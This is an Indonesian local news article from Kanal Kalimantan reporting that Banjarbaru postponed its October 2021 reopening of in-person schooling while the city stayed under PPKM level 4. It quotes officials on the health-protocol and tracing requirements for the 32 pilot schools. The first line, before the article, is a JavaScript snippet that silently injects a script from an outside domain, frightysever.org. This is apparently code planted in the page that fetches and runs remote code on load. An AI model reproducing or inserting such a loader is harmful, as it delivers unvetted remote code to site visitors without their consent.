(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rencana sekolah dibuka kembali alias Pembelajaran Tatap Muka (PTM) mulai Senin 4 Oktober 2021 di Kota Banjarbaru dipastikan tak jadi.
Pasalnya, Kota Banjarbaru masih dalam PPKM level 4, padahal direncakann PTM akan digelar pada 32 sekolah yang ditunjuk sebagai piloting.
Kepala Dinas Pendidikan Kota Banjarbaru, Muhammad Aswan mengatakan, PTM yang sejatinya akan digelar pada 4 Oktober 2021 akan diundur kembali.
“Mengingat masih hari terakhir PPKM level 4 pada tanggal 4 Oktober itu, kita akan diundur dulu PTM, dan Disdik akan koordinasikan lagi mengenai PTM ini kepada pemerintah kota,†ucap Kadisdik Banjarbaru.
Baca juga:Â Duh! Sampah Kotori Jembatan Sei Alalak, Jejak Warga Sebelum Diresmikan
Adapun sarana dan prasarana prokes yang wajib ada di setiap sekolah piloting yakni ruang UKS, ruang transit isolasi, fasilitas mencuci tangan dan hand sanitizer, alat pengukur/thermos gun, desinfektan dan masker cadangan.
Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin mengatakan, PTM akan ditentukan Senin mendatang dan akan dilaksanakan dengan penuh kehati-hatian agar tidak menimbulkan klaster Covid-19.
“Kita tidak ingin terjadi klaster-klaster PTM, kita harus perhatikan kesiapan protokol kesehatan, sistem surveilans dan sarana prasana kesehatan di sekolah,†kata Aditya.
Aditya menambahkan, sekolah yang akan melakukan piloting sudah dinilai dari Dinas Pendidikan, Dinas Kesehatan dan akan dibentuk tim penilai kepada sekolah yang memenuhi syarat menyelenggarakan PTM.
“Kita minta kepada Disdik apabila sekolah itu tidak bisa melakukan protokol secara benar akan mendapatkan sanksi, dan apabila bisa memenuhi prokes akan mendapatkan reward, sehingga semua elemen pada sekolah bisa ikut bertanggung jawab,†tegasnya.
Baca juga:Â Banjarbaru Target Capai 50 % Vaksinasi Pertengahan Oktober
Aditya mengingatkan sekolah untuk memastikan system tracing dan surveilans berjalan baik.
“Guru, orangtua, siswa, semuanya memiliki kesadaran penuh untuk emergency plan, contingency plan, kondisi darurat. Kalau ada satu siswa saja bergejala, wajib untuk tidak ke sekolah. Begitu tidak ke sekolah, sistem harus berjalan,” kata Aditya.
“Orangtua menginformasikan kepada sekolah, sekolah kemudian melakukan tracing, kontak erat dan dilakukan swab semuanya. Kalau satu orang saja tidak terinfo, tidak terdeteksi, jika dibiarkan bisa timbul dan meledak satu klaster. Kalau itu terjadi sekolah tersebut akan kembali ditutup dalam jangka waktu yang kita tidak bisa prediksi,†jelasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.